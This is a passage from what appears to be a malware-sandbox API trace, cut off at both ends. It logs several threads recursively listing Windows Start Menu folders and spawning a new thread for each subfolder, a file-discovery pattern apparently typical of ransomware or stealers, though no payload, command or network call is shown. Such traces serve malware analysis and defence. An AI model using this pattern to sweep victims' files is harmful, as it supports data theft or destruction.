cFileName="Get Help.lnk", cAlternateFileName="GETHEL~1.LNK")) returned 1 [0049.249] wcscmp (_String1="Get Help.lnk", _String2=".") returned 1 [0049.249] wcscmp (_String1="Get Help.lnk", _String2="..") returned 1 [0049.249] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 1 [0049.249] wcscmp (_String1="Visit Java.com.lnk", _String2=".") returned 1 [0049.249] wcscmp (_String1="Visit Java.com.lnk", _String2="..") returned 1 [0049.249] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 0 [0049.249] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0049.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459a30) returned 1 [0049.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e4b8) returned 1 [0049.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e538) returned 1 Thread: id = 477 os_tid = 0xe64 [0049.251] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x4173e0 [0049.251] wcscpy (in: _Dest=0x4173e0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0049.251] wcscat (in: _Dest=0x4173e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\" [0049.251] wcscat (in: _Dest=0x4173e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*" [0049.251] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0049.251] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0049.251] wcscmp (_String1=".", _String2=".") returned 0 [0049.251] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.251] wcscmp (_String1="..", _String2=".") returned 1 [0049.251] wcscmp (_String1="..", _String2="..") returned 0 [0049.251] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup and Restore Center.lnk", cAlternateFileName="BACKUP~1.LNK")) returned 1 [0049.251] wcscmp (_String1="Backup and Restore Center.lnk", _String2=".") returned 1 [0049.251] wcscmp (_String1="Backup and Restore Center.lnk", _String2="..") returned 1 [0049.251] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a77447, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89a77447, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89a77447, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Create Recovery Disc.lnk", cAlternateFileName="CREATE~1.LNK")) returned 1 [0049.251] wcscmp (_String1="Create Recovery Disc.lnk", _String2=".") returned 1 [0049.251] wcscmp (_String1="Create Recovery Disc.lnk", _String2="..") returned 1 [0049.251] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec13fc0c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec13fc0c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0049.252] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0049.252] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0049.252] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0049.252] wcscmp (_String1="Remote Assistance.lnk", _String2=".") returned 1 [0049.252] wcscmp (_String1="Remote Assistance.lnk", _String2="..") returned 1 [0049.252] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab46fc5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab46fc5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Assistance.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 0 [0049.252] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0049.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459a30) returned 1 [0049.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4173e0) returned 1 [0049.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4168a0) returned 1 Thread: id = 478 os_tid = 0xe68 [0049.266] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x438060 [0049.266] wcscpy (in: _Dest=0x438060, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0049.266] wcscat (in: _Dest=0x438060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0049.266] wcscat (in: _Dest=0x438060, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*" [0049.266] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0049.266] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a368 [0049.267] wcscmp (_String1=".", _String2=".") returned 0 [0049.267] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.267] wcscmp (_String1="..", _String2=".") returned 1 [0049.267] wcscmp (_String1="..", _String2="..") returned 0 [0049.267] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780122b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Access 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0049.267] wcscmp (_String1="Microsoft Access 2010.lnk", _String2=".") returned 1 [0049.267] wcscmp (_String1="Microsoft Access 2010.lnk", _String2="..") returned 1 [0049.267] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Excel 2010.lnk", cAlternateFileName="MICROS~2.LNK")) returned 1 [0049.267] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2=".") returned 1 [0049.267] wcscmp (_String1="Microsoft Excel 2010.lnk", _String2="..") returned 1 [0049.267] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="MIA4FF~1.LNK")) returned 1 [0049.267] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2=".") returned 1 [0049.267] wcscmp (_String1="Microsoft InfoPath Designer 2010.lnk", _String2="..") returned 1 [0049.267] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0049.267] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2=".") returned 1 [0049.267] wcscmp (_String1="Microsoft InfoPath Filler 2010.lnk", _String2="..") returned 1 [0049.267] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="MICROS~1")) returned 1 [0049.267] wcscmp (_String1="Microsoft Office 2010 Tools", _String2=".") returned 1 [0049.267] wcscmp (_String1="Microsoft Office 2010 Tools", _String2="..") returned 1 [0049.267] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00a20 [0049.267] wcscpy (in: _Dest=0x5e00a20, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0049.267] wcscat (in: _Dest=0x5e00a20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\" [0049.267] wcscat (in: _Dest=0x5e00a20, _Source="Microsoft Office 2010 Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" [0049.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e00a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0049.549] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="MI807F~1.LNK")) returned 1 [0049.549] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft OneNote 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Outlook 2010.lnk", cAlternateFileName="MI4465~1.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft Outlook 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft PowerPoint 2010.lnk", cAlternateFileName="MIAF79~1.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft PowerPoint 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="MI6860~1.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft Project 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft Project 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="MI260D~1.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft Publisher 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x87381f60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visio 2010.lnk", cAlternateFileName="MI7E65~1.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft Visio 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 1 [0049.550] wcscmp (_String1="Microsoft Word 2010.lnk", _String2=".") returned 1 [0049.550] wcscmp (_String1="Microsoft Word 2010.lnk", _String2="..") returned 1 [0049.550] FindNextFileW (in: hFindFile=0x40a368, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780aa830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Word 2010.lnk", cAlternateFileName="MI109D~1.LNK")) returned 0 [0049.550] FindClose (in: hFindFile=0x40a368 | out: hFindFile=0x40a368) returned 1 [0049.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459a30) returned 1 [0049.550] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438060) returned 1 [0049.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef898) returned 1 Thread: id = 479 os_tid = 0xe6c [0049.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4168a0 [0049.273] wcscpy (in: _Dest=0x4168a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0049.273] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\" [0049.273] wcscat (in: _Dest=0x4168a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*" [0049.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459560 [0049.273] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.274] wcscmp (_String1=".", _String2=".") returned 0 [0049.274] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.275] wcscmp (_String1="..", _String2=".") returned 1 [0049.275] wcscmp (_String1="..", _String2="..") returned 0 [0049.275] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0049.275] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2=".") returned 1 [0049.275] wcscmp (_String1="Microsoft SharePoint Workspace 2010.lnk", _String2="..") returned 1 [0049.275] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~1.LNK")) returned 0 [0049.275] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0049.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459560) returned 1 [0049.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4168a0) returned 1 [0049.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4467f8) returned 1 Thread: id = 480 os_tid = 0xe70 [0049.277] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4467f8 [0049.277] wcscpy (in: _Dest=0x4467f8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0049.277] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start 